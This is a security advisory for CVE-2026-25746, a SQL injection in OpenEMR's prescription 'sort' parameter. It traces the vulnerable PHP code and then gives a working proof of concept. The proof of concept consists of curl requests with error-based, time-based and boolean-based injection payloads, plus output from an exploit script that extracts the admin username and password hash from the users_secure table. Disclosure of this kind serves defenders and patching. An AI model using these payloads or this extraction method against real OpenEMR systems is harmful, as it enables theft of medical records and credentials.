## https://sploitus.com/exploit?id=DCF8E4D2-B0B0-58FA-BF6E-108EA9CBD142
# CVE-2026-25746 - SQL Injection Vulnerability in OpenEMR Weakness CWE-89
>> Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
>> The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.
### Summary
OpenEMR act($_GET);
```
[Controller act method](https://github.com/openemr/openemr/blob/2b46e594b9dd665fb7f16c913ca07f5c6d54412b/library/classes/Controller.class.php#L77):
```php
$args = array_reverse(array_keys($qarray));
$c_name = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$c_action = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$obj_name = "C_" . $c_name;
$c_obj = new $obj_name();
...
foreach ($args as $arg) {
$arg = preg_replace("/[^A-Za-z0-9_]/", "", (string) $arg);
if (empty($qarray[$arg]) && $qarray[$arg] != "0") {
$args_array[] = null;
} else {
$args_array[] = $qarray[$arg];
}
}
...
if (is_callable([&$c_obj, $c_action . "_action"]) && method_exists($c_obj, $c_action . "_action")) {
$output .= $c_obj->{$c_action . "_action"}(...$args_array);
}
```
[C_Prescription list_action method](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/controllers/C_Prescription.class.php#L180)
```php
function list_action($id, $sort = "", $printPrescriptionId = null)
{
if (empty($id)) {
$this->function_argument_error();
exit;
}
if (!empty($sort)) {
$this->assign("prescriptions", Prescription::prescriptions_factory($id, $sort));
}
```
[vulnerability in Prescription prescriptions_factory method](https://github.com/openemr/openemr/blob/9fa8db9f12d0b70985195b11b90f2dc564bd3b24/library/classes/Prescription.class.php#L1148)
```php
static function prescriptions_factory(
$patient_id,
$order_by = "active DESC, date_modified DESC, date_added DESC"
) {
$prescriptions = [];
$p = new Prescription();
$sql = "SELECT id FROM " . escape_table_name($p->_table) . " WHERE patient_id = ? " .
"ORDER BY " . add_escape_custom($order_by);
$results = sqlQ($sql, [$patient_id]);
while ($row = sqlFetchArray($results)) {
$prescriptions[] = new Prescription($row['id']);
}
return $prescriptions;
}
```
#### Permissions
```php
if ((array_key_first($qarray) ?? '') == 'prescription') {
if (!AclMain::aclCheckCore('patients', 'rx')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Prescriptions")]);
exit;
}
}
```
ACL `rx` on `patients` are required, these are standard permissions, not elevated privileges.
#### SQL Injection
```sql
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY
```
### PoC
```
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort="'
SQL Statement failed on preparation: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"'
Query ErrorERROR: query failed: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"' at line 1/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array)
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)'
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))'
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)'
```
There are multiple techniques to exploit it; one of them is a boolean-based attack, which works using the last payload:
```sql
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1)
```
#### Exploit
```
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[+] Using patient_id=1
[+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f
[+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$
```
### Impact
- Unauthorized access to database information
- Potential data breach of sensitive medical information
- Server-side code execution (in some cases)
- Database compromise
### Credits
- Researcher: Christophe SUBLET
- Organization: Esisar
- Project: CyberSkills, Orion
## License
This project is licensed under the MIT License – see the LICENSE file for details.
Please cite our paper: https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4